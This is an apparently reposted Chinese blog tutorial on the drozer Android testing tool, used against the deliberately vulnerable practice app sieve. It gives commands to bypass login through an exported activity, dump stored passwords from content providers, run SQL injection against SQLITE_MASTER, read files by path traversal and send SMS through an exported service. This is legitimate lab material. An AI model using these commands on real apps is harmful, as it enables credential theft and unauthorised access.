安卓渗透测试工具---drozer使用

drozer下载

下载链接:drozer

drozer安装

下载软件并解压,进入解压目录点击setup.exe,按照提示安装完成,默认安装在C盘下;
传送agent.apk到手机上并安装。
在这里插入图片描述

sieve(drozer测试程序)

下载链接:sieve
介绍:sieve是一款小型密码管理软件,包含了常见的安卓应用漏洞,可以作为drozer练习的测试对象。
使用:当sieve首次启动时,它要求用户设置一个16个字符的“主密码”和一个用于保护用户稍后输入的密码的4位pin。用户可以使用sieve存储各种服务的密码,如果需要正确的凭证,可以在稍后的数据中检索这些密码。

drozer使用

建立手机端和PC端的连接

1、手机端打开drozer agent,并打开Embedded Server。
在这里插入图片描述2、PC端通过ADB设置转发端口。
在这里插入图片描述
3、PC端dos下进入drozer安装目录,执行命令,与手机端drozer agent成功建立连接。
在这里插入图片描述
注意事项
如果报错“could not find java…”
建立名为 .drozer_config的文件,文件中添加如下内容:
[executables]
java=D:\Java\jdk1.7.0_65\bin\java.exe
javac=D:\Java\jdk1.7.0_65\bin\javac.exe
即java和javac的路径,保存后存放到C:\Users\XXX\ 目录下,其中XXX为当前用户名目录下,之后重新连接成功

确定攻击面

dz> run app.package.list //列出安装的所有应用包名
dz> run app.package.list -f sieve //搜索特定的包名
在这里插入图片描述
dz> run app.package.info -a com.mwr.example.sieve //查看应用的信息
在这里插入图片描述

dz> run app.package.attacksurface com.mwr.example.sieve //识别攻击面
在这里插入图片描述

测试activities exported (容易绕过登陆验证)

dz> run app.activity.info -a com.mwr.example.sieve //显示暴露的Activity信息
在这里插入图片描述

dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //该命令会生成一个合适的intent来启动activity
在这里插入图片描述
手机端查看sieve软件,不需要登录验证,就可以进入系统。
在这里插入图片描述

测试 content provider(易造成数据库泄露,sql注入等问题)

dz> run app.provider.info -a com.mwr.example.sieve //列举Content Provider的信息
在这里插入图片描述

dz> run app.provider.finduri com.mwr.example.sieve //枚举uri
在这里插入图片描述

dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri
在这里插入图片描述

dz> run scanner.provider.injection -a com.mwr.example.sieve //检测可利用uri,检查sql注入
在这里插入图片描述

现在可以使用其他drozer模块从这些内容URI中检索信息,甚至可以修改数据库中的数据

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ //获取数据库数据(即为之前保存的密码,邮箱信息)
在这里插入图片描述

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical //竖直显示数据库数据
在这里插入图片描述

利用暴露的content provider进行sql注入

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’” //数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息
在这里插入图片描述

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection “’”
在这里插入图片描述

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table’;-- " //使用Sql注入列出数据库中的所有数据表
在这里插入图片描述

在这里插入图片描述

从File System-backed Content Providers获取信息

dz> run scanner.provider.traversal -a com.mwr.example.sieve //检测 目录遍历
在这里插入图片描述

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //遍历目录
在这里插入图片描述

dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/database/database.db /home/user/database.db 下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)
在这里插入图片描述

测试services exported (权限提升)

run app.service.info -a com.android.nsf //获取 service 详情

run app.service.send com.adnroid.nsf com.igexin.sdk.PushServiceUser --msg 1 2 3 //访

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

测试broadcast receivers exported(拒绝服务)

run app.broadcast.info -a com.android.nsf //获取broadcast receivers信息

猜你喜欢

转载自blog.csdn.net/guo15890025019/article/details/109841075